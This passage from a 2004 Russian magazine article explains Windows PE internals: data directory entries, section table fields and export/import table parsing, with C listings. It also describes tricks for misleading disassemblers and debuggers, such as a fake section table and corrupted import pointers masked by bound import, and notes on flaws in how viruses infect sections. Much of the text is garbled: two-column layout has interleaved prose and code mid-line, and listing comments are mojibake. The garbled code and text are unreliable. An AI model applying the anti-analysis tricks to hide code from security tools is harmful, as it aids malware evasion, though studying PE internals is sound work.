что усекает размер директории до минимума, но и кода
вокруг процедуры «сокращений» там строк пятьсот, а уж
сколько времени было убито в ИДЕ…
Есть и другая проблема. По спецификации DATA_DIREC-
TORY располагается в самом конце опционального заго-
ловка и непосредственно за его концом начинается таб-
лица секций. Таким образом, указатель на таблицу сек-
ций может быть получен либо так:
((BYTE*) ((*((WORD*)(p + 0x14 /* size of optional ↵
header */)))+ 0x18 /* size of image header */ + p))
либо так:
((BYTE*) ( (*((DWORD*)(p+0x74 /* NumRVAandSize */)))* ↵
8 + 0x78 /* begin DATA_DIRECTOTY */+ p))
Системный загрузчик использует первый способ и до-
пускает, что между DATA_DIRECTORY и SECTION_TABLE
может быть расположено некоторое количество «бесхоз-
ных» байт. Некоторые дизассемблеры и упаковщики счи-
тают иначе и ищут SECTION_TABLE непосредственно за
концом DATA_DIRECTORY. Вот и давайте подсунем им
подложную SECTION_TABLE! Пускай их авторы почаще
заглядывают в WINNT.H, который недвусмысленно гово-
рит, что:
#define IMAGE_FIRST_SECTION( ntheader ) ((PIMAGE_SECTION_HEADER) ↵
((ULONG_PTR)ntheader + ↵
FIELD_OFFSET( IMAGE_NT_HEADERS, OptionalHeader ) + ↵
((PIMAGE_NT_HEADERS)(ntheader))-> ↵
FileHeader.SizeOfOptionalHeader ↵
))
…так что лезть дизассемблером в системный загрузчик
совсем необязательно!

DATA DIRECTORY
00h IMAGE_DIRECTORY_ENTRY_EXPORT:
Указатель на таблицу экспортируемых функций и данных
(далее по тексту просто функций). Встречается преиму-
щественно в динамических библиотеках и драйверах, од-
нако заниматься экспортом товаров может и рядовой ис-
полняемый файл. Использует RVA- и VA-адресацию (под-
робнее см. «Экспорт»).
01h IMAGE_DIRECTORY_ENTRY_IMPORT:
Указатель на таблицу импортируемых функций, исполь-
зуемую для связи файла с внешним миром, и активируе-
мую системным загрузчиком, когда все остальные меха-
низмы импорта недоступны. Использует RVA- и VA-адре-
са (подробнее см. «Импорт»).
02h IMAGE_DIRECTORY_ENTRY_RESOURCE:
Указатель на таблицу ресурсов, хранящую строки, пиктог-
раммы, курсоры, диалоги и прочие кирпичики пользова-
тельского интерфейса (хотя какие это кирпичики? насто-
ящие бетонные блоки!). Таблица ресурсов организована
в виде трехуровневого двоичного дерева, слишком запу-
танного и разлапистого, чтобы его было можно привести
здесь, но, к счастью, использующего только RVA-адреса-
цию, т.е. нечувствительного к смещению «своей» секции
(а это как правило секция .rsrc) внутри файла. Однако,
если вы вздумаете править RVA (например, для внедре-
ния новой секции в середину страничного имиджа или
переносу image base), вам придется основательно потру-
диться с этой структурой, подробное описание которой,
кстати говоря, можно найти в уже упомянутой статье «The
Portable Executable File Format from Top to Bottom».
03h IMAGE_DIRECTORY_ENTRY_EXCEPTION:
Указывает на exception directory (директорию исключений),
обычно размещаемую в секции .pdata (хотя это и необя-
зательно). Используется только на следующих архитекту-
рах: MIPS, Alpha32/64, ARM, PowerPC, SH3, SH, WindowsCE.
К микропроцессорам семейства Intel это не относится и
IX386-загрузчик игнорирует это поле, поэтому оно может
принимать любое значение.
04h IMAGE_DIRECTORY_ENTRY_SECURITY:
Указывает на Certificate Table (таблицу сертификатов), рас-
полагающуюся строго в .debug-секции и адресуемой не
по RVA-адресам, а по физическим смещениям внутри фай-
ла (так происходит потому, что таблица сертификатов не
грузится в память и обитает исключительно на диске). Если
IMAGE_DIRECTORY_ENTRY_SECURITY != 0, ни в коем
случае не пытайтесь внедрять в файл посторонний код,
иначе он откажет в работе.
05h IMAGE_DIRECTORY_ENTRY_BASERELOC:
Он же fixup, использует RVA-адреса (см. «Перемещаемые
элементы»).
06h IMAGE_DIRECTORY_ENTRY_DEBUG:
Отладочная информация, используемая дизассемблера-
№6(19), июнь 2004
программирование
ми и дебеггерами. Использует RVA- и RAW OFFSET-ад-
ресацию. Системный загрузчик ее игнорирует.
07h IMAGE_DIRECTORY_ENTRY_ARCHITECTURE:
Он же «description». На I386-платформе, судя по всему, пред-
назначен для хранения информации о копирайтах (на это, в
частности, указывает определение IMAGE_DIRECTORY_
ENTRY_COPYRIGHT, данное в WINNT.H), за формирование
которых отвечает ключ –D, переданный Багдадскому линке-
ру ilinlk32.exe, при этом в IMAGE_DIRECTORY_ENTRY_
ARCHITECTURE помещается RVA-указатель на строку
комментариев, по умолчанию располагающуюся в секции
.text. Компоновщик ms link при некоторых до конца не вы-
ясненных обстоятельствах помещает в это поле инфор-
мацию об архитектуре, однако системный загрузчик ее
никогда не использует.
08h IMAGE_DIRECTORY_ENTRY_GLOBALPTR:
Указатель на таблицу регистров глобальных указателей.
Используется только на процессорах ALPHA и PowerPC.
На I386-платформе это поле лишено смысла, и загрузчик
его игнорирует.
09h IMAGE_DIRECTORY_ENTRY_TLS:
Хранилище статической локальной памяти потока (Thread
Local Storage). TLS-механизм обеспечивает «прозрачную»
работу с глобальными переменными в многопоточных сре-
дах без риска, что переменная в самый неподходящий мо-
мент будет модифицирована другим потоком. Сюда попа-
дают переменные, объявленные как __declspec(thread). По
причине большой причудливости и крайней тяжеловесно-
сти реализации (один шаг в сторону и операционная сис-
тема стреляет без предупреждения) используется крайне
редко. К тому же Windows NT и Windows 9x обрабатыва-
ют это поле сильно неодинаково. Хранилище обычно раз-
мещается в секции .tls, хотя это и необязательно. Исполь-
зует RVA- и VA-адреса.
10h IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG:
Содержит информацию о конфигурации глобальных фла-
гов, необходимых для нормальной работы программы, име-
ет смысл только в Windows NT и производных от нее систе-
мах. Это поле практически никем не используется, но если
возникнет желание узнать о нем больше – см. прототип струк-
туры IMAGE_LOAD_CONFIG_DIRECTORY32 в WINNT.h, а
также ее описание в Platform SDK. За описанием самих
флагов обращайтесь к утилите gflags.exe, входящей в со-
став Resource Kit и NTDDK. Информация о конфигурации
использует VA-адресацию (точнее, пока еще не использу-
ет, но резервирует эту возможность на будущее).
11h IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT:
Указатель на таблицу диапазонного импорта, имеющую
приоритет над IMAGE_DIRECTORY_ENTRY_IMPORT и
обрабатываемую загрузчиком в первую очередь (зачас-
тую, до IMAGE_DIRECTORY_ENTRY_IMPORT дело вооб-
ще не доходит). По устоявшейся традиции таблица диа-
пазонного импорта размещается в PE-заголовке, хотя это
и необязательно, и некоторые линкеры ведут себя иначе.
63
 программирование
Используется RVA- и RRAW OFFSET-адресация (подроб-
нее см. «Импорт»).
12h IMAGE_DIRECTORY_ENTRY_IAT:
Указатель на IAT (подчиненная структура таблицы импор-
та). Используется загрузчиком Windows XP, остальные
операционные системы это поле, по-видимому, игнориру-
ют (подробнее см. «Импорт»).
13h IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT:
Указатель на таблицу отложенного импорта, использую-
щую RVA/VA-адресацию, но фактически остающуюся не
стандартизированной и отданной на откуп воле конкрет-
ных реализаторов (подробнее см. «Импорт»).
14h IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR:
Если не равно нулю, то файл представляет собой .NET-при-
ложение, состоящее из байт-кода, поэтому попытка вне-
дрения в него x86 никогда ничего хорошего не принесет.
Таблица секций
Четкого определения термина «секция» не существует.
Упрощенно говоря, секция – это непрерывная область
памяти внутри страничного имиджа со своими атрибута-
ми, независящими от атрибутов остальных секций. Пред-
ставление секции в памяти не обязательно должно совпа-
дать с ее дисковым образом, который в принципе может
вообще отсутствовать (секциям неинициализированных
данных нечего делать на диске, и потому они представле-
ны исключительно в памяти).
Каждая секция управляется «своей» записью в одно-
именной структуре данных, носящей имя «таблицы сек-
ций». Таблица секций начинается сразу же за концом оп-
ционального заголовка, размер которого содержится в
поле SizeOfOptionalHeader, и представляет собой массив
структур IMAGE_SECTION_HEADER, количество задает-
ся полем NumberOfSection.
Порядок секций может быть любым, но системный заг-
рузчик оптимизирован под следующую последователь-
ность: сначала идет кодовая секция, за ней следует одна
или несколько секций инициализированных данных и за-
мыкает строку секция неинициализированных данных.
Структура IMAGE_SECTION_HEADER состоит из сле-
дующих полей:
Ëèñòèíã 5. Ïðîòîòèï ñòðóêòóðû IMAGE_SECTION_HEADER
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
Поле Name представляет собой 8-байтовый массив с
ASCII-именем секции внутри (именно именем, а не указа-
64
телем на имя!). Если длина имени меньше восьми байт,
остающийся хвост дополняется нулями, если же имя за-
нимает весь массив целиком, завершающий нуль в его
конце не ставится (некоторые дизассемблеры не учиты-
вают этого обстоятельства и захватывают примыкающий
к массиву мусор).
Само по себе имя секции не несет никакого метафи-
зического смысла и было введено в эксплуатацию исклю-
чительно из эстетических соображений. Системный заг-
рузчик его игнорирует, хотя некоторые вирусы/протекто-
ры/упаковщики распознают «свои» секции только так, и
всякое искажение имени валит их наповал. Ходят слухи
по поводу того, что библиотека oleaut32.dll, входящая в
состав Windows, опознает секцию ресурсов по ее имени,
а не по записи в DATA_DIRECTORY. В исходных текстах
популярного упаковщика UPX присутствует следующий
комментарий: «…after some windoze debugging I found that
the name of the sections DOES matter .rsrc is used by
oleaut32.dll (TYPELIBS) and because of this lame dll, the
resource stuff must be the first in the 3rd section – the author
of this dll seems to be too idiot to use the data directories...
...even worse: exploder.exe in NiceTry also depends on this to
locate version info». Дизассемблирование подтверждает,
что библиотека oleaut32.dll действительно содержит внут-
ри себя текстовую строку «.rsrc» и активно ее использует.
Да мало ли на свете идиотов, привязывающихся к имени
секций? Поэтому без особой нужды имена секций чужого
файла лучше не изменять.
Поля VirtualAddress и PointerToRawData содержат RVA-
адрес начала секции в памяти и ее смещение относитель-
но начала файла соответственно. Виртуальный и физичес-
кий адреса должны быть выровнены на величину Section
Alignment/File Alignment, прописанную в опциональном за-
головке, причем виртуальный адрес первой секции должен
быть равен ALIGN_UP(SizeOfHeaders, Section Alignment), в
противном случае файл не загрузится. Физический адрес
секции может быть любым, достаточно только, чтобы он
был выровнен на величину File Alignment.
Поля VirtualSize и SizeOfRawData содержат виртуальную
и физическую длину секции соответственно. Вот тут-то и
начинается самое интересное! Если виртуальный размер
больше физического, то при загрузке секции в память ее
хвост заполняется нулями, при этом наличие атрибута ини-
циализированных/неинициализированных данных совер-
шенно необязательно. Если физический размер больше
виртуального, то… единственное, что можно сказать с уве-
ренностью, такой файл будет нормально загружен в память.
Как? А вот это уже зависит от реализации! Начнем с того,
что нулевой виртуальный размер предписывает загрузчи-
ку отталкиваться от физического размера секции, предва-
рительно округлив его на величину Section Alignment и за-
полнив хвост нулями. Все промежуточные состояния нео-
пределенны – загрузчик может считать:
! ровно Virtual Size байт;
! ALIGN_UP(Virtual Size, File Alignment) байт;
! ALIGN_UP(Virtual Size, Phys Sector Size) байт.
Вообще-то все пункты, кроме первого, – грубые ошиб-
ки реализации, но и… суровая реальность бытия вместе

с тем, поэтому таких ситуаций лучше всего избегать. Фи-
зический размер должен быть выровнен на величину File
Alignment, выравнивать виртуальный размер необяза-
тельно (загрузчик выравнивает его автоматически). Од-
нако и это правило не обходится без исключений: если
физический размер меньше или равен виртуальному, то
и его выравнивать необязательно, правда, смысла в этом
немного, поскольку начало следующей секции в файле
в любом случае должно быть выровнено на величину
File Align.
Виртуальный адрес следующей секции обязательно
должен быть равен виртуальному адресу предыдущей сек-
ции плюс ее размер, выровненный на величину Section
Alignment. Секции не могут ни перекрываться, ни образо-
вывать виртуальные дыры. На физические адреса секций
таких ограничений не наложено, и они могут быть раз-
бросаны по файлу в живописном беспорядке. Впрочем,
увлекаться разбрасыванием право же не стоит – не ро-
вен час системный загрузчик запутается и откажет фай-
лу в загрузке, если еще не выпадет в синий экран.
Кстати, насчет синих экранов. Напомним читателю, что
если Section Alignment < 1000h, а физический размер сек-
ции вылетает за пределы файла, W2K SP3 (и, вероятно,
все остальные представители линейки NT) выбрасывает
синий экран, и системе наступает конец.
Поле Characteristics определяет атрибуты доступа к
секции и особенности ее загрузки. Имеется три атрибута,
как будто бы определяющих содержимое секции как код,
инициализированные и неинициализированные данные
(IMAGE_SCN_CNT_CODE/20h, IMAGE_SCN_CNT_INITIALIZED_
DATA/40h, IMAGE_SCN_CNT_UNINITIALIZED_DATA/80h со-
ответственно). Однако системный загрузчик игнорирует
их значение, и потому опираться на них ни в коем случае
нельзя. Теоретически секция неинициализированных дан-
ных при отсутствии прочих атрибутов не должна грузить-
ся с диска, но… ведь грузится!
Некоторые вирусы/упаковщики/протекторы определя-
ют кодовую секцию по наличию атрибута IMAGE_SCN_
CNT_CODE. Что ж! Не такое уж и плохое решение, только
будьте готовы к тому, что этого атрибута не окажется ни у
одной из секций (что встречается достаточно часто) либо
же он будет присвоен секции данных (что встречается
пореже, но все-таки встречается).
Другая триада атрибутов описывает права доступа ко
всем страницам секции, назначаемым системным загруз-
чиком по умолчанию (будучи загруженным, файл может
свободно манипулировать ими, вызывая API-функцию
VirtualProtectEx). В настоящее время определено три атри-
бута: исполнения, чтения и записи (IMAGE_SCN_MEM_
EXECUTE/20000000h, IMAGE_SCN_MEM_READ/40000000h,
IMAGE_SCN_MEM_WRITE/80000000h). На платформе Intel
атрибуты чтения/исполнения полностью эквивалентны и со-
ответствуют аппаратному атрибуту доступности (accessible)
страницы. Атрибут записи обрабатывается вполне есте-
ственным образом. Следовательно, отличить секцию кода
от секции данных в общем случае невозможно и приходит-
ся действовать исподтишка, объявляя секцией кода ту, в
которую указывает точка входа.
Два других интересных атрибута это – IMAGE_SCN_
№6(19), июнь 2004
программирование
MEM_DISCARDABLE/2000000h (после загрузки файла
секция может быть уничтожена в памяти) и IMAGE_SCN_
MEM_SHARED/10000000h (секция является совместно
используемой).
Атрибут IMAGE_SCN_MEM_DISCARDABLE обычно при-
сваивается секциям, содержащим вспомогательные струк-
туры данных, такие как, например, таблица перемещае-
мых элементов, необходимые лишь на этапе загрузки
файла и впоследствии никем не используемые. А раз так –
зачем они будут жрать память? Фатальная ошибка подав-
ляющего большинства вирусов состоит в том, что, вне-
дрясь в последнею секцию файла (коей как раз
DISCARDABLE-секция обычно и оказывается), они не про-
веряют ее атрибутов, не «выкупают» права на память.
Операционная система в любой момент может выгрузить
оккупированные ими страницы и тогда инфицированный
процесс рухнет, выдавая хорошо известное всем сообще-
ние о критической ошибке приложения.
Атрибут IMAGE_SCN_MEM_SHARED намного менее бе-
зобиден, но тоже с характером, и помещать сюда ис-
полняемый код категорически не рекомендуется. Во-
первых, в любой момент он может быть затерт посто-
ронним процессом, и тогда зараженное приложение
опять-таки рухнет, а во-вторых, Windows 9x насильно
перегоняет SHARED-секции в верхнюю половину адрес-
ного пространства и действительный адрес загрузки
уже не будет соответствовать виртуальному адресу сек-
ции (правда, полностью перемещаемый код в таких ус-
ловиях вполне сможет работать).
Остальные атрибуты либо неинтересны, либо имеют от-
ношение только к объективным coff-файлам (не PE) и по-
тому здесь не рассматриваются. Это, в частности, относит-
ся к атрибутам из семейства IMAGE_SCN_ALIGN_хBYTES,
индивидуально настраивающим кратность выравнивания
каждой секции. Для объективных файлов это, быть может,
и так, но системный загрузчик эти атрибуты игнорирует.
Поля PointerToRelocations/NumberOfRelocations (ука-
затель на таблицу перемещаемых элементов и количе-
ство элементов в этой таблице соответственно) имеют
отношение только к объективным файлам, а исполняе-
мые файлы и динамические библиотеки управляют сво-
ими перемещаемыми элементами через одноименную
запись в DATA_DIRECTORY, поэтому эти поля могут со-
держать любые значения. Некоторые вирусы/упаковщи-
ки/проекторы помечают таким образом свои файлы, что-
бы их не обрабатывать дважды. Способ глупый и нена-
дежный (задумайтесь: что произойдет с файлом после
его упаковки любым посторонним упаковщиком?).
Поля PointerToLinenumbers/NumberOfLinenumbers (ука-
затели на таблицу номеров строк и количество элемен-
тов в этой таблице соответственно) ранее использовались
для хранения отладочной информации, связывающей но-
мера строк исходной программы с адресами откомпили-
рованного файла. В настоящее время используется толь-
ко в объективных файлах, а в исполняемых файлах отла-
дочная информация хранится совсем в другом месте и в
другом формате.
Ниже приведен код, сканирующий таблицу секций и
выводящий извлеченную информацию на терминал.
65
 программирование
Ëèñòèíã 6. Ìàêðîñû, âîçâðàùàþùèå óêàçàòåëè íà IMAGE_SECTION_HEADER
ïåðâîé è ïîñëåäíåé ñåêöèè ôàéëà
#define xopt_sz(p) ↵ ordinal = ExportOrdinalTable [i];
(*((WORD*)(p + 0x14 /* size of optional header */)))
#define pSectionTable(p) ↵
((BYTE*) (xopt_sz(p) + 0x18 /*sizeofimageheafer*/ + p))
#define pFirstSection(p) (pSectionTable(p))
#define pLastSection(p) ↵
(pSectionTable(p) + (xNumOfSec(p) - 1) * 40)
Ëèñòèíã 7. Ïðîãóëêà ïî òàáëèöå ñåêöèé ñ âûâîäîì åå ñîäåðæèìîãî
íà òåðìèíàë
a = xNumOfSec(p); pNextSection = pFirstSection(p);
while(a--)
{ имен. Поэтому таблицы имен и ординалов всегда содер-
printf("Name: %s\n"\
"\tVirtualSize : %04Xh RVA\n"\
"\tVirtualAddress : %04Xh RVA\n"\
"\tSizeOfRawData : %04Xh RVA\n"\
"\tPointerToRawData : %04Xh RVA\n"\
"\tPointerToRelocations : %04Xh RVA\n"\
"\tPointerToLinenumbers : %04Xh RVA\n"\
"\tNumberOfRelocations : %04Xh RVA\n"\
"\tNumberOfLinenumbers : %04Xh RVA\n\n",
pNextSection, pNextSection[0x8], ↵
pNextSection[0xC],
pNextSection[0x10], pNextSection[0x14], ↵
pNextSection[0x18],
pNextSection[0x1C], pNextSection[0x20], ↵
pNextSection[0x14]);
pNextSection+=40; // ñëåäóþùèé ýëåìåíò Section Table
} та в другую DLL, и тогда соответствующий элемент таб-
Экспорт
Таблица экспорта представляет собой сложную иерархи-
ческую структуру, каждый из компонентов которой может
быть расположен в любом месте страничного имиджа, хотя
по спецификации она должна быть сосредоточена в од-
ной области. Когда-то таблице экспорта выделялась своя
персональная секция .edata, но теперь этого правила прак-
тически никто не придерживается, поэтому говорить о
секции импорта не совсем корректно (впрочем, если вы
назовете директорию секцией, большой беды не будет и
все вас поймут).
На вершине иерархии находится структура IMAGE_
EXPORT_DIRECTORY, также известная под именем export
directory table, содержащая указатели на три подчинен-
ные структуры: таблицу экспортируемых имен (Name
Pointer), таблицу экспортируемых ординалов (Ordinal Table)
и таблицу экспортируемых адресов (Export Address Table).
Поле Name RVA указывает на строку с именем динами-
ческой библиотеки, которое, судя по всему, игнорируется
и может принимать любые значения.
Экспорт функций/данных может производиться как по
их имени, так и по ординалу. Таблицы имен и адресов
представляют собой массивы из RVA-указателей, ссыла-
ющихся на ASCIIZ-строки с именами функций и адреса
экспортируемых функций/данных соответственно. Табли-
ца ординалов представляет собой массив 16-битных ин-
дексов (ординалов) и служит своеобразным связующим
звеном между таблицей имен и таблицей адресов. Пусть
i-элемент таблицы имен указывает ASCIIZ-строку с име-
нем интересующей нас функции «my_func», тогда i-эле-
мент таблицы ординалов содержит индекс элемента таб-
лицы адресов с RVA-адресом функции my_func или, гово-
ря другими словами, ее ordinal.
В переводе на язык Си это выглядит так:
66
Ëèñòèíã 8. Ýêñïîðò ïî èìåíàì
i = Search_ExportNamePointerTable (ExportName);
SymbolRVA = ExportAddressTable [ordinal - OrdinalBase];
Если нам известен ординал функции, то обращаться к
таблицам имен/ординалов необязательно. Определенная
путаница связана с тем, что ординал задает отнюдь не
индекс в таблице оридиналов, а индекс в таблице адре-
сов. Таблица ординалов представляет собой вспомога-
тельную подструктуру, не имеющую самостоятельной цен-
ности и всегда использующуюся только в паре с таблицей
жат одинаковое количество элементов, задаваемое полем
Number of Name Pointers, которое может и не совпадать с
количеством элементов таблицы адресов, задаваемое
полем Export Address Table RVA.
Теперь о тонкостях. Таблица адресов может содержать
«разрывы», т.е. элементы, обращенные в нуль и указыва-
ющие в никуда. К счастью, их легко отсеять. Хуже, что
далеко не всякий элемент таблицы адресов представляет
собой действительный адрес экспортируемой функции,
ведь динамические библиотеки поддерживают форвар-
динг (forwarding), т.е. сквозное перенаправление экспор-
лицы адресов содержит RVA-адрес ASCIIZ-строки типа
«NTDLL.RtlDeleteCriticalSection», описывающей переназ-
начение. Как отличить forward-строки от действительных
адресов экспортируемых функций? Да очень просто,
forward-строки всегда расположены внутри таблицы экс-
порта (именно поэтому спецификация настоятельно ре-
комендует делать ее непрерывной, никаких других при-
чин для этого у системного загрузчика нет). Размер таб-
лицы экспорта содержится в DATA_DIRECTORY там же,
где находится адрес export directory table, и разоблачение
forward-строк осуществляется тривиально.
Приведенный ниже демонстрационный пример ска-
нирует всю таблицу экспорта, отображая ее на экране в
удобно читаемом виде. Обратите внимание, что обработ-
ка ordinal BASE несколько изменена на идеологически
более правильную:
Ëèñòèíã 9. Ïðîñòåéøèé ðàçáîð òàáëèöû ýêñïîðòà
// ïîëó÷àåì óêàçàòåëü íà PE
p = *(DWORD*)(pBaseAddress + 0x3C /*e_lfanew */) + pBaseAddress;
// ïîëó÷àåì óêàçàòåëü íà DATA_DIRECTORY
pDATA_DIRECTORY = (DWORD*)(p + 0x78);
// ïîëó÷àåì óêàçàòåëü íà ýêñïîðò
pExport = pDATA_DIRECTORY[0] + pBaseAddress;
// áåðåì ðàçìåð, íî íå ïðîâåðÿåì
xExport = pDATA_DIRECTORY[1];
// èçâëåêàåì ñâåäåíèÿ îá îñíîâíûõ ñòðóêòóðàõ
nameRVA = *(DWORD*) (pExport + 0xC) + pBaseAddress;
ordinalBASE = *(DWORD*) (pExport + 0x10);
addressTableEntries = *(DWORD*) (pExport + 0x14);
numberOfNamePointers = *(DWORD*) (pExport + 0x18);
exportAddressTableRVA = (DWORD*) (*(DWORD*) (pExport + ↵
0x1C) + pBaseAddress);
namePointerRVA = (DWORD*) (*(DWORD*) (pExport + ↵
0x20) + pBaseAddress);
ordinalTableRVA = (WORD* ) (*(DWORD*) (pExport + 0x24) + ↵
pBaseAddress);
// ðàñïå÷àòûâàåì âñå èìåíà/îðäèíàëû/àäðåñà
printf( "name ordinal/hint VirtualAddress Forward\n"\

"------------------------------------------\n");
for (a = 0; a < _MAX(addressTableEntries, ↵
numberOfNamePointers); a++)
{ показывает, что Windows 9x/NT сначала используют bound
// äâà âèäà îáðàáîòêè - ïî èìåíàì è ïî îðäèíàëàì
if (a < numberOfNamePointers)
{ адрес загрузки импортируемой библиотеки не совпал с
// âûäåëåíèå èíäåêñà ôóíêöèé, ýêñïîðòèðóåìûõ ïî èìåíàì
name = namePointerRVA[a] + pBaseAddress; ↵
f_index = ordinalTableRVA[a];
}
else
{ ственно по таблице адресов, указатель на которую содер-
// âûäåëåíèå èíäåêñà ôóíêöèé, ýêñïîðòèðóåìûõ òîëüêî
// ïî îðäèíàëàì
name = "n/a"; f_index = a;
}
// îïðåäåëåíèå àäðåñà ôóíêöèè
f_address = (DWORD)(exportAddressTableRVA[f_index] + ↵
pBaseAddress);
// ïîèñê "ðàçðûâîâ" â òàáëèöå àäðåñîâ
if (f_address == pBaseAddress) continue;
// îïðåäåëåíèå îðèäèíàëà
ordinal = f_index + ordinalBASE;
// ïîèñê ôîðâàðäîâ (åñëè åñòü)
if ((f_address > (DWORD) pExport) && (f_address < ↵
(DWORD) (pExport + xExport)))
pForward = (BYTE*)f_address; else pForward = 0;
// âûâîä ðåçóëüòàòîâ íà òåðìèíàë
printf("%-30s [%03d/%03d] %08Xh %s\n",
name, ordinal, a, f_address, ↵
(pForward)?pForward:"");
} printf("==============================================\n");
Импорт
Если с экспортом все более или менее понятно, то импорт –
это какой-то кошмар. Это целых три различных механиз-
ма, один страшнее другого, управляемые четырьмя запи-
сями в DATA_DIRECTORY.
Стандартный механизм импорта работает приблизитель-
но так: специальная таблица (называемая таблицей импор-
та) перечисляет имена/ординалы всех импортируемых фун-
кций, указывая, в какое место страничного имиджа загруз-
чик должен записать эффективный адрес каждой из них.
Грубо говоря, на каждую импортируемую функцию прихо-
дится один вызов GetProcAddress, фактически сводящийся
к поэлементному перебору всей таблицы экспорта.
Более производителен механизм диапазонного импор-
та (bound import), сводящийся к тривиальному проециро-
ванию необходимых библиотек на адресное пространство
процесса, с жесткой прошивкой экспортируемых адресов
еще на стадии компиляции приложения. Это быстро, но
не универсально. Перекомпиляция DLL требует обязатель-
ной перекомпиляции приложения, поскольку по старым
адресам теперь ничего хорошего уже нет.
Между двумя этими крайностями окопался механизм
отложенного импорта (delay import), реализованный с боль-
шим количеством ошибок, поддерживаемых далеко не
всеми компоновщиками, но все-таки работающий. В об-
щих чертах основная идея заключается в перенаправле-
нии элементов таблицы импорта на специальный обра-
ботчик, динамически загружающий соответствующие
функции по мере возникновения в них необходимости и
подставляющий их адреса в таблицу импорта.
№6(19), июнь 2004
программирование
Приоритет различных механизмов импорта не опре-
делен и загрузчик вправе использовать любой доступный,
переходя к другому только в случае неудачи. Эксперимент
import, и только если штамп времени/предпочтительный
ожидаемым, пытается импортировать функции обычным
путем. Windows XP поступает иначе и после неудачи с
bound import, пытается импортировать функции непосред-
жится в поле IMAGE_DIRECTORY_ENTRY_IAT. Штатно
таблица адресов содержит копию таблицы имен, и пото-
му обращаться к последней нет никакой необходимости.
Если же это не так, загрузчик вынужден импортировать-
ся обычным путем.
Стандартная таблица импорта представляет собой
сложную иерархическую структуру, каждый из элементов
которой может быть расположен в любом месте странич-
ного имиджа.
На вершине иерархии находится структура Import
Directory Table, представляющая собой массив структур
IMAGE_IMPORT_DESCRIPTOR, завершаемых нулевым
элементом. Каждый IMAGE_IMPORT_DESCRIPTOR содер-
жит ссылки на две подчиненные структуры – lookup-таб-
лицу, содержащую имена и/или ординалы импортируемых
функций, и таблицу импортируемых адресов, также изве-
стную как Thunk Table и содержащую RVA-адреса ячеек
страничного имиджа, поверх которых загрузчик должен
записать эффективные адреса соответствующих им фун-
кций. Пусть необходимая нам функция my_func находит-
ся в i-элементе lookup-таблицы, тогда i-индекс таблицы
импортируемых адресов содержит RVA-указатель на ячей-
ку, куда загрузчику следует записать ее адрес.
Ëèñòèíã 10. Ïðîòîòèï ñòðóêòóðû IMAGE_IMPORT_DESCRIPTOR
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
// 0 for terminating null import descriptor
DWORD Characteristics;
// RVA to original unbound IAT
DWORD OriginalFirstThunk;
};
// 0 if not bound, -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new)
// O.W. date/time stamp of DLL bound to (old)
// -1 if no forwarders
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
DWORD FirstThunk; // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR;
Имя загружаемой DLL содержится в поле Name струк-
туры IMAGE_IMPORT_DESCRIPTOR, представляющим со-
бой RVA-указатель на ASCIIZ-строку.
Остальные поля не так интересы. Если временная от-
метка TimeDateStamp равна нулю (как чаще всего и бы-
вает), то системный загрузчик обрабатывает таблицу им-
порта по всем правилам. Если же она равна минус одно-
му (FFFFFFFFh), загрузчик игнорирует указатели
OriginalFirstThunk и FirstThunk, полагая, что данная биб-
лиотека импортируется через BOUND_IMPORT и только
лишь когда BOUND_IMPORT провалится (например, из-
за несовпадения TimeDateStamp), возвращается к IAT.
67
 программирование
На этом основан один любопытный пример противо- // è address òàáëèö
стояния отладчикам и дизассемблерам – сбрасываем Time if (importLookupTable) lookup = *importLookupTable++;
if (importAddressTable) address = *importAddressTable++;
DateStamp в FFFFFFFFh, добавляем в BOUND_IMPORT if (!address) break; // ýòî êîíåö?
импорт библиотеки, указанной в Name, ставим в BOUND_ if (importLookupTable)
IMPORT TimeDateStamp в ноль, чтобы гарантированно {
загрузить ее (конечно, значения экспортируемых адресов // ôóíêöèÿ ýêñïîðòèðóåòñÿ ïî îðäèíàëó
if (lookup & 0x80000000)
в различных версиях DLL могут и не совпадать, но глав- {
ное, что библиотека спроецирована на адресное простран- sprintf(buf,"#%d",lookup & ↵
~0x80000000);name=buf;hint=0;
ство процесса, а разгрести экспорт можно и руками). Те- }
перь искажаем указатели OriginalFirstThunk и FirstThunk, else // ôóíêöèÿ ýêñïîðòèðóåòñÿ ïî èìåíè
{
придавая им заведомо некорректное значение. Системный name=(lookup+pBaseAddress+2);
загрузчик, обнаружив, что TimeDateStamp == -1, просто про- hint=*((WORD*)(lookup+pBaseAddress));
}
игнорирует их, обработает такой файл вполне нормально. } printf("[%04d] %-30s:%08Xh\n",hint, name, address);
Дизассемблеры/отладчики – иное дело. О BOUND_IMPORT }printf("===============================================\n\n");
}
подавляющее большинство из них ничего не знает и, чес-
тно ринувшись в IAT, они в лучшем случае сообщат, что // ïðîãóëèâàåìñÿ ïî òàáëèöå èìïîðòà, âûâîäÿ åå âñþ
n2k_walk_idex(BYTE* pImport, BYTE* pBaseAddress)
таблица импорта искажена, а в худшем – поедут крышей {
и аварийно завершат свою работу. Старые версии BLS и int a;
BYTE *nameRVA;
hiew на этом ломались только так. Новые – нет, поэтому DWORD *importLookupTable;
этот трюк уже утратил свою былую актуальность. DWORD *importAddressTable;
Любое другое значение TimeDateStamp обозначает // ïåðåáèðàåì âñå òàáëèöû äåñêðïèòîðîâ ñêîëüêî èõ åñòü òàì...
действительную временную метку, и, если она совпадает while(1)
{
с временной меткой импортируемой DLL, загрузчик про- // èçâëåêàåì îñíîâíûå ïàðàìåòðû
сто проецирует ее на адресное пространство процесса, nameRVA =*(DWORD*)(pImport + 0x0C) + pBaseAddress;
importLookupTable =(DWORD*)(*(DWORD*)(pImport+0x00)+ ↵
